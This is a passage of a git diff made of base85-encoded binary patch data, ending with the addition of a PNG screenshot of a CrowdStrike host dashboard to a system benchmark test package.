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
MBVX5ib?W?o0CRm1K>z>%

literal 0
HcmV?d00001

diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/img/crowdstrike-host-dashboard.png b/test/packages/benchmarks/system_benchmark_crowdstrike/img/crowdstrike-host-dashboard.png
new file mode 100644
index 0000000000000000000000000000000000000000..76ee9eeca70810658fcc1b4dda6c04d7179f6c2f
GIT binary patch
literal 213390
zcmcG#WmH>FyEjY?O0gE&;?Ne?6eun!#WgKnv=9Qt-L-~83KR{};_hytxI>W=Bv9N5
z9-Md6|9zix?(=+jzdX;Zm9_VtJ$vSwYi2I}CHS?f9ML_hdpI~aL<;iKYB)G}mN+=K
zGw$L7HEGo$t-$4mlbYNsoT34mHQ?d4xul9D4o)eY;N18Q@QiOS|JDfyht&D{cVotk
z-W~WL&_YAUSw}@#1Zro)ZER|10^@eKu?Je?;D~|U?Tw*UFy|*GFmnrAaTZKHlI4ko
zsW^)^zshqJdnwp^3wcjRn7XH`2Gr9EDs0LEmLR$(<}L#CU;}eDe&TLpZR;fBF8=Iq
z$0ES}bv5XjgqWkLnTVRS?7vz7PvXzsJ3HHpfIx0;ZrpBs+;)!UARb|1VbF745HBwm
z(1Od!!`9i@oy*pV;a?p{!<?Xw7WU2-cD7HhJ2W=2b8!}b=Hg;uDq?1A#&2S3%FktD
z%xB8Q!((d9Wo*jF!)40HXDZ0gBgAXQWAf}@!#i7;{rC8`PXA&9z!1>&8xRlo^J|i?
z??oVv7BGN{>men0#Qwhjk2*2XH6j0lFo}O^fVl#9|HYYWHvJcOVYUEE-2mQkev2o-
z!MP+=ke1YNH{3+KxoeF5?%c&Fd$PnZ-hVPW<Q4a<ANQF~N$8{A!$aL-L$BJSnfs4Q
zpMJde?5;ef@w4I0+oZ!@$&Aqn9#?nqyPv-FzyH!NbwwC%w&l~4#Mez|p4?cKE2ANY
z_v}B4nt5M`f6#xFBt6B^kpHL|<zcdvk^Y}$J)X4kKl*v*q8zOI;D44#ku2%L|L8`Z
zRy|GYfA%7s5yAF`<3IXQ>s01S6A=lMyzWXEo5&xU;VXZ4dwaWs`MM@j_l<^zw4x<D
z9&sBL;<~Rzv41*U6k8pxW%%-#z`;R|m6P*@K<M?@qxT>X2o=9&P<9|5qS~7OZ*7-H
z#&GBLs4fL>%jNHJJwDo;$Y%UYYm)kxFJEA@qFj%Gk^kvqly-#8_YzO-FX<T(V<h-b
zxwnIOIIlZ!9B6B&{oyPB&!gi&%nGzoncLYhe~^jp0dRrGb!RG`fg}H6mP;QRZNOl0
z&B+YaM~@%RZ*SWYUXwW*Ox>Wj@A~J-_Tg5W%8X6Tcr}?F9`QUb=66TY73+#k#3U|J
z3#Hc?*TMQk^3IMujS#BViJX9(3w9a?W@Tl4UUW^(UiI_U;TxQWWqlNn|FSRpKwJYD
zY+da{e&Q;BJUN#8M!;|A(ObR~A+K9FD<T$ao7*z)Mj}S7P&bRe2h@0;Ei7(+EF4u-
z@O^w|O|DCVRI1}=;kU=hXZlMX3ZoL(+3cFbSRQGRH@^B2&9ie-Hf|T@((jZ{X;Xeq
zWQ)VWheiT+5duZ**R1(9Ld5%*3i^LhF-bI2Ncrbi7lp(CuM*A3o*Q**Wye@O9Z@|Y
zQvsT(Ba2LNvNVbTLH;@_)y6uHU-g6J4-n<2%1pg+?rE15n`ze#l^50&0|T`6?mHj6
zD1QqkO;<_<=T!&1o~02(ZyvjUBi%*>q{2kbTshxuA|+T@ke`!92hlRZk*-^l_a`!V
zJZe22#(kqeTra_ZqNypF2??!0z~8Msz~)2p2-sjE(3_xg0_>?PZ<R)Va43Cm$b5;3
zpg?lvsm<w-*|Ctf6hpWQ%M#ge(2#4~yUIoNuaE7liyp05M@+6<o;@T3pM5r~53#?p
zrWIFjj2GP(lqI(Kf{7G;|Im4UuEl_X_-l0?XknY8<B#O6@cxzQjpC*@l35=Wgut7Q
zECN|~9agX}IC3}D=e;%QHT(Wug#BoS<{6hF@<&>jzW=tOmph_V*#7{vcXZ?t7z>Jy
